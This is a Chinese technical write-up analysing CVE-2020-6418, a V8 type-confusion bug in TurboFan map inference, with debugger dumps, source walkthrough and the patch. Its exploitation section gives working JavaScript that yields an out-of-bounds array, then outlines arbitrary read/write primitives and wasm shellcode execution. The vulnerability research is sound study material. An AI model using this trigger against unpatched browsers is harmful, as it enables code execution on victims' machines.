text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：raycp**
**原文链接：<https://mp.weixin.qq.com/s/cLZ7Jv2p9wlK87qN03TRqA>**
**<https://mp.weixin.qq.com/s/5LcdwvF_Yy5Q_Wz5Szqwtg>**
## 基础知识 – Pointer compression
`Pointer compression`是`v8 8.0`中为提高64位机器内存利用率而引入的机制。
篇幅的原因，这里只简要说下和漏洞利用相关的部分，其余的可以看参考链接。
示例代码：
let aa = [1, 2, 3, 4];
%DebugPrint(aa);
%SystemBreak();
首先是指针长度的变化，之前指针都是`64`位的，现在是`32`位。而对象地址中高位的`32`字节是基本不会改变的，每次花4个字节来存储高32位地址是浪费空间。因此`8.0`的v8，申请出`4GB`的空间作为堆空间分配对象，将它的高`32`位保存在它的根寄存器中（`x64`为`r13`）。在访问某个对象时，只需要提供它的低`32`位地址，再加上根寄存器中的值机可以得到完整的地址，因此所有的对象指针的保存只需要保存`32`位。
在示例代码中可以看到`aa`的地址为`0x12e0080c651d`，查看对象中的数据，看到`elements`字段的地址为`0x0825048d`，它的根寄存器`r13`为`0x12e000000000`，因此`elements`的完整地址是`0x12e000000000+0x0825048d=0x12e00825048d`。
pwndbg> job 0x12e0080c651d
0x12e0080c651d: [JSArray]
- map: 0x12e0082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x12e008248f7d <JSArray[0]>
- elements: 0x12e00825048d <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 4
- properties: 0x12e0080406e9 <FixedArray[0]> {
#length: 0x12e0081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x12e00825048d <FixedArray[4]> {
0: 1
1: 2
2: 3
3: 4
}
pwndbg> x/4wx 0x12e0080c651c
0x12e0080c651c: 0x082817f1 0x080406e9 0x0825048d 0x00000008 ;; map | properties | elements | length
pwndbg> i r r13
r13 0x12e000000000 0x12e000000000
pwndbg> print 0x12e000000000+0x0825048d
$170 = 0x12e00825048d
其次是`SMI`的表示，之前64位系统中`SMI`的表示是`value<<32`，由于要节约空间且只需要最后一比特来作为`pointer
tag`，于是现在将`SMI`表示成`value<<1`。这样`SMI`表示也从占用64字节变成了32字节。
看示例代码中`aa`对象的`elements`，如下所示，可以看到所有的数字都翻倍了，那是因为`SMI`的表示是`value<<1`，而左移一位正是乘以2。
pwndbg> job 0x12e00825048d ;; elements
0x12e00825048d: [FixedArray] in OldSpace
- map: 0x12e0080404d9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 4
pwndbg> x/6wx 0x12e00825048c
0x12e00825048c: 0x080404d9 0x00000008 0x00000002 0x00000004
0x12e00825049c: 0x00000006 0x00000008
`Pointer compression`给`v8`的内存带来的提升接近于40%，还是比较大的。当然也还有很多细节没有说明，本打算写一篇关于`Pointer
compression`的文章，但是由于这个漏洞的出现，所以就鸽了，以后有机会再写。
可以想到的是当一个数组从`SMI`数组，转换成`DOUBLE`数组时，它所占用的空间几乎会翻倍；同时数组从`DOUBLE`数组变成`object`数组时，占用空间会缩小一半。
## 描述
`cve-2020-6418`是前几天曝出来的v8的一个类型混淆漏洞，谷歌团队在捕获的一个在野利用的漏洞，`80.0.3987.122`版本前的chrome都受影响。
根据[commit](https://chromium.googlesource.com/v8/v8/+/fb0a60e15695466621cf65932f9152935d859447)先编译v8：
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
## 分析
### poc分析
回归测试代码poc如下：
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
用`release`版本的v8运行不会报错，使用debug版本的v8运行会报错。
根据`commit`中的信息，应该是`a.pop`调用的时候，没有考虑到`JSCreate`结点存在的`side-effect`（会触发回调函数），改变`a`的类型（变成`DOUBLE`），仍然按之前的类型（`SMI`）处理。
[turbofan] Fix bug in receiver maps inference
JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".
为了验证，可以将`pop`的返回值打印出来，加入代码：
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p)); // return here
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
return f(p); // return here
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
print main(empty);
print main(empty);
%OptimizeFunctionOnNextCall(main);
print(main(p));
运行打印出来的结果，看到最后一次本来应该输出`2`的，却输出为`0`。
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
4
3
0
猜想应该是在`Proxy`中a的类型从`PACKED_SMI_ELEMENTS`数组改成了`PACKED_DOUBLE_ELEMENTS`数组，最后`pop`返回的时候仍然是按`SMI`进行返回，返回的是相应字段的数据。
在`Proxy`函数中加入语句进行调试：
let p = new Proxy(Object, {
get: () => {
%DebugPrint(a);
%SystemBreak();
a[0] = 1.1;
%DebugPrint(a);
%SystemBreak();
return Object.prototype;
}
});
第一次断点相关数据如下，在`elements`中可以看到偏移`+8`为起始的数据的位置，`a[2]`对应为`2`。
pwndbg> job 0x265a080860cd
0x265a080860cd: [JSArray]
- map: 0x265a082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a0808625d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a0808625d <FixedArray[5]> {
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x082417f1 0x080406e9 0x0808625d 0x00000006 ;; map | properties | elements | length
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a0808625d
0x265a0808625d: [FixedArray]
- map: 0x265a080404b1 <Map>
- length: 5
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
pwndbg> x/10wx 0x265a0808625c ;; a's elements
0x265a0808625c: 0x080404b1 0x0000000a 0x00000000 0x00000002 ;; map | length | a[0] | a[1]
0x265a0808626c: 0x00000004 0x08040385 0x08040385 0x08241f99 ;; a[2] | a[3] | a[4]
0x265a0808627c: 0x00000006 0x082104f1
第二次断点，`a`的类型改变后相关数据如下：
pwndbg> job 0x265a080860cd ;; a
0x265a080860cd: [JSArray]
- map: 0x265a08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a08086319 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a08086319 <FixedDoubleArray[5]> {
0: 1.1
1: 1
2: 2
3-4: <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x08241891 0x080406e9 0x08086319 0x00000006
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a08086319 ;; a's elements
0x265a08086319: [FixedDoubleArray]
- map: 0x265a08040a3d <Map>
- length: 5
0: 1.1
1: 1
2: 2
3-4: <the_hole>
pwndbg> x/12wx 0x265a08086318 ;; a's elements
0x265a08086318: 0x08040a3d 0x0000000a 0x9999999a 0x3ff19999 ;; map | properties | elements | length
0x265a08086328: 0x00000000 0x3ff00000 0x00000000 0x40000000
0x265a08086338: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff
pwndbg> x/10gx 0x265a08086318 ;; a's elements
0x265a08086318: 0x0000000a08040a3d 0x3ff199999999999a
0x265a08086328: 0x3ff0000000000000 0x4000000000000000
0x265a08086338: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
在`pointer
compresssion`中我们知道`SMI`是用32位表示，`double`仍然是使用`64`位表示的，可以看到其所对应的`SMI`表示`a[2]`所在的位置刚好是`0`，验证了猜想。
可以看到对应的`a[3]`的数据是`浮点数`表示的数字`1`（`0x3ff0000000000000`）的高位，因此如果我们将`a`的长度加1，使得它最后`pop`出来的是`a[3]`的话，将数组改成`let
a = [0, 1, 2, 3, 4, 5];`，会打印出来的将是`0x3ff00000>>1==536346624`，运行验证如下：
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
5
4
536346624
到此，从poc层面理解漏洞结束，下面我们再从源码层面来理解漏洞。
### 源码分析
#### JSCallReducer中的builtin inlining
在对漏洞进行分析前，需要先讲述下`JSCallReducer`中的`builtin inlining`的原理。
之前在`inlining`的分析中说过，`builtin`的`inlining`发生在两个阶段：
* 在`inlining and native context specialization`时会调用`JSCallReducer`来对`builtin`进行`inlining`。
* 在`typed lowering`阶段调用`JSBuiltinReducer`对`builtin`进行`inlining`。
上面两种情况下，`Reducer`都会尝试尽可能的将内置函数中最快速的路径内联到函数中来替换相应的`JSCall`结点。
对于`builtin`该在哪个阶段（第一个阶段还是第二个）发生`inlining`则没有非常严格的规定，但是遵循以下的原则：`inlining`时对它周围结点的类型信息依赖度比较高的`builtin`，需要在后面的`typed
lowering`阶段能够获取相应结点的类型信息后，再在`JSBuiltinReducer`中进行`inlining`；而具有较高优先级（把它们先进行内联后，后续可以更好的优化）的内置函数则要在`inlining
and native context
specialization`阶段的`JSCallReducer`中进行内联，如`Array.prototype.pop`、`Array.prototype.push`、`Array.prototype.map`、
`Function.prototype.apply`以及`Function.prototype.bind`函数等。
`JSCallReducer`的`ReduceJSCall`相关代码如下，可以看到它会根据不同的`builtin_id`来调用相关的`Reduce`函数。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* target = NodeProperties::GetValueInput(node, 0);
// Do not reduce calls to functions with break points.
if (shared.HasBreakInfo()) return NoChange();
// Raise a TypeError if the {target} is a "classConstructor".
if (IsClassConstructor(shared.kind())) {
NodeProperties::ReplaceValueInputs(node, target);
NodeProperties::ChangeOp(
node, javascript()->CallRuntime(
Runtime::kThrowConstructorNonCallableError, 1));
return Changed(node);
}
// Check for known builtin functions.
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
case Builtins::kArrayConstructor:
return ReduceArrayConstructor(node);
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
...
case Builtins::kArrayPrototypePop:
return ReduceArrayPrototypePop(node);
`poc`中`a.pop`函数所对应的`builtin_id`为`kArrayPrototypePop`。
这个阶段的`inlining`的一个很重要的思想是：确定调用该内置函数的对象的类型；有了相应的类型后，可以根据对象的类型快速的实现相应的功能，从而去掉冗余的多种类型兼容的操作。
如`kArrayPrototypePop`函数功能则是根据对象的类型，将它最后一个元素直接弹出。当`a.pop`如果知道`a`的类型为`PACKED_SMI_ELEMENTS`，则可以根据`PACKED_SMI_ELEMENTS`类型，直接通过偏移找到该类型最后一个元素的位置（而不用通过复杂运行时来确定），将它置为`hole`，更新数组长度，并返回该元素的值。
这个过程有一个很重要的前置条件则是确定调用`builtin`函数的对象进行类型。只有知道了对象的类型，才能够知道相应字段的偏移和位置等，从而快速实现该功能。
如何确定输入对象的类型，以及它的类型是否可靠，`v8`代码通过`MapInference`类来实现。
该类的相关代码如下所示，它的作用正如它的注释所示，主要包括两点：
1. 推断传入的对象的类型（`MAP`）并返回；
2. 根据传入的`effect`，决定推测的返回对象类型（`MAP`）结果是否可靠，`reliable`表示返回的对象的类型是可靠的，在后面使用该对象时无需进行类型检查，即可根据该类型进行使用；如果是`reliable`则表示该类型不一定准确，在后面使用时需要加入检查（加入`MAP Check`），才能使用。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).
// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}
`MapInference`构造函数调用`InferReceiverMapsUnsafe`函数来判断推断的`Map`是否可靠，如下所示。它会遍历将该`object`作为`value
input`的结点的`effect`链，追溯看是否存在改变`object`类型的代码。如果没有会改变对象类型的代码，则返回`kReliableReceiverMaps`；如果存在结点有属性`kNoWrite`以及改变对象类型的操作，则表示代码运行过程中可能会改变对象的类型，返回`kUnreliableReceiverMaps`，表示返回的`MAP`类型不可靠。
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
HeapObjectRef receiver = m.Ref(broker);
// We don't use ICs for the Array.prototype and the Object.prototype
// because the runtime has to be able to intercept them properly, so
// we better make sure that TurboFan doesn't outsmart the system here
// by storing to elements of either prototype directly.
//
// TODO(bmeurer): This can be removed once the Array.prototype and
// Object.prototype have NO_ELEMENTS elements kind.
if (!receiver.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
if (receiver.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_return = ZoneHandleSet<Map>(receiver.map().object());
return kUnreliableReceiverMaps;
}
}
}
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kMapGuard: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = MapGuardMapsOf(effect->op());
return result;
}
break;
}
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoReceiverMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) {
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableReceiverMaps;
}
break;
...
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}
最后来看数组对象的`Array.prototype.pop`函数所对应的`ReduceArrayPrototypePop`函数是如何实现`builtin
inlining`的，相关代码如下所示，主要功能为：
1. 获取`pop`函数所对应的`JSCall`结点的`value`、`effect`以及`control`输入；其中`value`输入即为调用该函数的对象，即`a.pop`中的`a`。
2. 调用`MapInference`来推断调用`pop`函数对象类型的`MAP`，如果没有获取到对象的类型，则不进行优化；
3. 调用`RelyOnMapsPreferStability`，来查看获取的类型是否可靠。如果可靠，则无需加入类型检查；如果不可靠，则需要加入类型检查。
4. 因为前面三步确认了调用`pop`函数的对象类型，后面就是具体的功能实现，可以直接看注释。根据获取的对象的类型，得到`length`、计算新的`length`、获取数组的最后一个值用于返回、将数组的最后一个字段赋值为`hole`。
// compiler/js-call-reducer.cc:4910
// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());
...
Node* receiver = NodeProperties::GetValueInput(node, 1); // 获取value输入
Node* effect = NodeProperties::GetEffectInput(node); // 获取effect输入
Node* control = NodeProperties::GetControlInput(node); // 获取control输入
MapInference inference(broker(), receiver, effect); // 获取调用`pop`函数的对象的类型
if (!inference.HaveMaps()) return NoChange(); // 如果没有获取到该对象的类型，不进行优化
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
control, p.feedback()); // 根据类型是否可靠，确定是否要加入类型检查
std::vector<Node*> controls_to_merge;
std::vector<Node*> effects_to_merge;
std::vector<Node*> values_to_merge;
Node* value = jsgraph()->UndefinedConstant();
Node* receiver_elements_kind =
LoadReceiverElementsKind(receiver, &effect, &control);
// Load the "length" property of the {receiver}.
Node* length = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
receiver, effect, control);
...
// Compute the new {length}.
length = graph()->NewNode(simplified()->NumberSubtract(), length,
jsgraph()->OneConstant());
...
// Store the new {length} to the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),
receiver, length, efalse, if_false);
...
// Load the last entry from the {elements}.
vfalse = efalse = graph()->NewNode(
simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),
elements, length, efalse, if_false);
...
// Store a hole to the element we just removed from the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreElement(
AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),
elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
最后来看下`RelyOnMapsPreferStability`函数是怎么实现加入检查或不加的。当`maps_state_`不是`kUnreliableNeedGuard`的时候，即返回的类型推断是可信的时候，则什么都不干直接返回；当类型是不可信的时候，最终会调用`InsertMapChecks`在图中插入`CheckMaps`结点。
// compiler/js-call-reducer.cc:120
bool MapInference::RelyOnMapsPreferStability(
CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
Node* control, const FeedbackSource& feedback) {
CHECK(HaveMaps());
if (Safe()) return false;
if (RelyOnMapsViaStability(dependencies)) return true;
CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
return false;
}
// compiler/map-inference.cc:120
bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }
// compiler/map-inference.cc:114
bool MapInference::RelyOnMapsViaStability(
CompilationDependencies* dependencies) {
CHECK(HaveMaps());
return RelyOnMapsHelper(dependencies, nullptr, nullptr, nullptr, {});
}
// compiler/map-inference.cc:130
bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
if (Safe()) return true;
auto is_stable = [this](Handle<Map> map) {
MapRef map_ref(broker_, map);
return map_ref.is_stable();
};
if (dependencies != nullptr &&
std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
for (Handle<Map> map : maps_) {
dependencies->DependOnStableMap(MapRef(broker_, map));
}
SetGuarded();
return true;
} else if (feedback.IsValid()) {
InsertMapChecks(jsgraph, effect, control, feedback);
return true;
} else {
return false;
}
}
// compiler/map-inference.cc:101
void MapInference::InsertMapChecks(JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
CHECK(HaveMaps());
CHECK(feedback.IsValid());
ZoneHandleSet<Map> maps;
for (Handle<Map> map : maps_) maps.insert(map, jsgraph->graph()->zone());
*effect = jsgraph->graph()->NewNode(
jsgraph->simplified()->CheckMaps(CheckMapsFlag::kNone, maps, feedback),
object_, *effect, control);
SetGuarded();
}
#### 漏洞分析
理解了上面说的`builtin inling`以后理解漏洞就很简单了。
根据`patch`，漏洞出现在`InferReceiverMapsUnsafe`中，相关代码如下：
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
`patch`后的代码在`InferReceiverMapsUnsafe`函数中遍历到`kJSCreate`将类型赋值为`kUnreliableReceiverMaps`，即认为`JSCreate`可能会给当前对象的类型造成改变。
因此在漏洞版本的`v8`当中，代码认为`JSCreate`结点是不会改变当前的类型的类型的，即没有`side-effect`。而实际在poc中可以看到`Reflect.construct`转换成`JSCreate`结点，且它可以通过`Proxy`来触发回调函数来执行任意代码，当然也包括修改相应对象的类型，因此它是存在`side-effect`的。
正是对于`JSCreate`结点的`side-effect`判断错误，认为它没有`side-effect`，最终返回`kReliableReceiverMaps`。导致在`builtin
inlining`过程中`RelyOnMapsPreferStability`函数没有加入`CheckMaps`结点，但是仍然按之前的类型进行功能实现（实际类型已经发生改变），导致类型混淆漏洞的产生。
在`poc`函数中，`a.pop`函数是不需要参数的，但是将`Reflect.construct`作为它的参数目标是在`JSCreate`结点和`JSCall`结点之间生成一条`effect`链。
当然其他`builtin`函数的内联也会触发这个洞，这里的`array.prototype.pop`可以触发越界读；`array.protype.push`则可以触发越界写。
## 利用
因为`pointer
compression`的存在，不能像之前一样无脑通过`ArrayBuffer`来进行任意读写了。但是很容易想到的是可以通过改写数组结构体`elements`或`properties`指针的方式实现堆的`4GB`空间内任意相对地址读写；可以通过修改`ArrayBuffer`结构体的`backing_store`指针来实现绝对地址的读写。
### BigUint64Array对象介绍
在这里再介绍对象`BigUint64Array`的结构体，通过它我们既可以实现`4GB`堆空间内相对地址的读写；又可以实现任意绝对地址的读写。
示例代码如下：
let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();
运行后数据如下，需要关注的是它的`length`、`base_pointer`以及`external_pointer`字段。它们和之前的指针不一样，都是`64`字节表示，且没有任何的`tag`标志。
pwndbg> job 0x179a080c6669
0x179a080c6669: [JSTypedArray]
- map: 0x179a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
- prototype: 0x179a08242bc9 <Object map = 0x179a08280699>
- elements: 0x179a080c6641 <ByteArray[32]> [BIGUINT64ELEMENTS]
- embedder fields: 2
- buffer: 0x179a080c6611 <ArrayBuffer map = 0x179a08281189>
- byte_offset: 0
- byte_length: 32
- length: 4
- data_ptr: 0x179a080c6648
- base_pointer: 0x80c6641
- external_pointer: 0x179a00000007
- properties: 0x179a080406e9 <FixedArray[0]> {}
- elements: 0x179a080c6641 <ByteArray[32]> {
0: 1234605616436508552
1: 12302614530665336029
2: 16045690984833335023
3: 17216961135748579327
}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> x/16wx 0x179a080c6668
0x179a080c6668: 0x08280671 0x080406e9 0x080c6641 0x080c6611
0x179a080c6678: 0x00000000 0x00000000 0x00000020 0x00000000
0x179a080c6688: 0x00000004 0x00000000 0x00000007 0x0000179a
0x179a080c6698: 0x080c6641 0x00000000 0x00000000 0x00000000
pwndbg> x/3gx 0x179a080c6688
0x179a080c6688: 0x0000000000000004 0x0000179a00000007
0x179a080c6698: 0x00000000080c6641
它的数据存储是在`data_ptr`中，`data_ptr`的表示是`base_pointer+external_pointer`：
pwndbg> print 0x80c6641+0x179a00000007
$171 = 0x179a080c6648
pwndbg> x/4gx 0x179a080c6648
0x179a080c6648: 0x1122334455667788 0xaabbaabbccddccdd
0x179a080c6658: 0xdeadbeefdeadbeef 0xeeeeeeeeffffffff
`external_pointer`是高`32`位地址的值，`base_pointer`刚好就是相对于高`32`位地址的`4GB`堆地址的空间的偏移。初始时`external_pointer`的地址刚好是根寄存器`r13`的高`32`位。
因此我们可以通过覆盖`base_pointer`来实现`4GB`堆地址空间的任意读写；可以通过读取`external_pointer`来获取根的值；可以通过覆盖`external_pointer`和`base_pointer`的值来实现绝对地址的任意读写。
当然`Float64Array`以及`Uint32Array`的结构体差不多也是这样，但是使用`BigInt`还有一个好处就是它的数据的`64`字节就是我们写入的`64`字节，不像`float`或者是`int`一样还需要转换。
### 漏洞利用
有了上面的基础后就可以进行漏洞利用了。
首先是利用类型混淆实现将`float`数组的`length`字段覆盖称很大的值。通过前面我们可以知道`DOUBLE`数组`element`长度是`8`，而`object`数组长度是`4`。通过类型混淆在`Proxy`中将对象从`DOUBLE`数组变成`object`数组，在后续`pop`或者`push`的时候就会实现越界读写，控制好数组长度，并在后面布置数组的话，则可以刚好读写到后面数组的`length`字段，代码如下：
const MAX_ITERATIONS = 0x10000;
var maxSize = 1020*4;
var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
vulnArray.pop();
vulnArray.pop();
vulnArray.pop();
var oobArray;
function empty() {}
function evil(optional) {
vulnArray.push(typeof(Reflect.construct(empty, arguments, optional)) === Proxy? 1.1: 8.063e-320); // print (i2f(maxSize<<1)) ==> 8.063e-320
for (let i=0; i<MAX_ITERATIONS; i++) {} // trigger optimization
}
let p = new Proxy(Object, {
get: () => {
vulnArray[0] = {};
oobArray = [1.1, 2.2];
return Object.prototype;
}
});
function VulnEntry(func) {
for (let i=0; i<MAX_ITERATIONS; i++) {}; // trigger optimization
return evil(func);
}
function GetOOBArray()
{
for(let i=0; i<MAX_ITERATIONS; i++) {
empty();
}
VulnEntry(empty);
VulnEntry(empty);
VulnEntry(p);
}
GetOOBArray();
print("oob array length: "+oobArray.length)
得到了任意长度的`double`数组以后，可以利用数组进行进一步的越界读写。
有了越界读写以后就可以构造`AAR`以及`AAW`原语，构造的方式是利用越界读写来找到布置在`oobArray`后面的`BigUint64Array`，然后通过越界写覆盖`BigUint64Array`的`base_pointer`字段以及`external_poiner`来实现任意地址读写原语。
然后是`AddrOf`原语以及`FakeObj`原语的构造，这个和之前的覆盖`object`数组的字段没有差别，只是从以前的覆盖`64`字节变成了现在的`32`字节。
最后就是利用上面的原语来找到`wasm`对象的`rwx`内存，写入`shellcode`，最后触发函数，执行`shellcode`。
## 其它
在调试的过程中，我有一个疑问就是`poc`中为什么一定要写一个`main`函数来调用`f`函数，`main`函数中除了`f`函数的调用以外没有干任何的事情。我去掉`main`，直接调用`f`函数行不行呢？
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (Object.prototype)
});
function main(p) {
return f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
f(empty);
f(empty);
%OptimizeFunctionOnNextCall(f);
print(f(p));
答案是不行的，将`poc`改成上面所示代码，是无法漏洞的。
经过分析，发现代码在`Reflect.construct`函数的内联处理函数`ReduceReflectConstruct`函数过程中会先将`JSCall`结点转换成`JSConstructWithArrayLike`结点。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
...
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
// compiler/js-call-reducer.cc:2841
// ES6 section 26.1.2 Reflect.construct ( target, argumentsList [, newTarget] )
Reduction JSCallReducer::ReduceReflectConstruct(Node* node) {
...
NodeProperties::ChangeOp(node,
javascript()->ConstructWithArrayLike(p.frequency()));
Reduction const reduction = ReduceJSConstructWithArrayLike(node);
...
}
在`ReduceJSConstructWithArrayLike`函数中会调用`ReduceCallOrConstructWithArrayLikeOrSpread`函数。
在`ReduceCallOrConstructWithArrayLikeOrSpread`函数中如果发现目前优化的函数是最外层函数中的函数的话，则会将结点从`JSConstructWithArrayLike`转化成`JSCallForwardVarargs`结点，从而最终不会出现`JSCreate`结点。
// compiler/js-call-reducer.cc:4681
Reduction JSCallReducer::ReduceJSConstructWithArrayLike(Node* node) {
...
return ReduceCallOrConstructWithArrayLikeOrSpread(
node, 1, frequency, FeedbackSource(),
SpeculationMode::kDisallowSpeculation, CallFeedbackRelation::kRelated);
}
